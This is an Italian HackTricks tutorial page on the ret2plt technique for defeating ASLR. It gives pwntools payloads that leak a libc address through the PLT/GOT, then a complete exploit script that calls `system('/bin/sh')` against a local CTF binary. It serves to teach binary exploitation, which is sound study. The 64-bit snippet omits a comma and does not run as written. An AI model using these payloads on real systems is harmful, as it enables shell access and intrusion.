79 lines
3.0 KiB
Markdown

# Ret2plt
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di base
L'obiettivo di questa tecnica sarebbe quello di **leakare un indirizzo da una funzione del PLT** per poter bypassare ASLR. Questo perché, se ad esempio, leakate l'indirizzo della funzione `puts` dalla libc, potete poi **calcolare dove si trova la base di `libc`** e calcolare gli offset per accedere ad altre funzioni come **`system`**.
Questo può essere fatto con un payload `pwntools` come ([**da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Nota come **`puts`** (utilizzando l'indirizzo dal PLT) venga chiamato con l'indirizzo di `puts` situato nel GOT (Global Offset Table). Questo perché, quando `puts` stampa l'entry del GOT di puts, questa **entry conterrà l'indirizzo esatto di `puts` in memoria**.
Nota anche come l'indirizzo di `main` venga utilizzato nell'exploit, così quando `puts` termina la sua esecuzione, il **binary chiama di nuovo `main` invece di uscire** (quindi l'indirizzo leak continuerà a essere valido).
> [!CAUTION]
> Nota come, affinché questo funzioni, il **binary non può essere compilato con PIE** oppure devi aver **trovato un leak per bypassare PIE** per conoscere l'indirizzo del PLT, GOT e main. Altrimenti, devi prima bypassare PIE.
Puoi trovare un [**esempio completo di questo bypass qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Questo era l'exploit finale di quell'**esempio**:
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Altri esempi e Riferimenti
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi chiamare un one gadget.
{{#include ../../../banners/hacktricks-training.md}}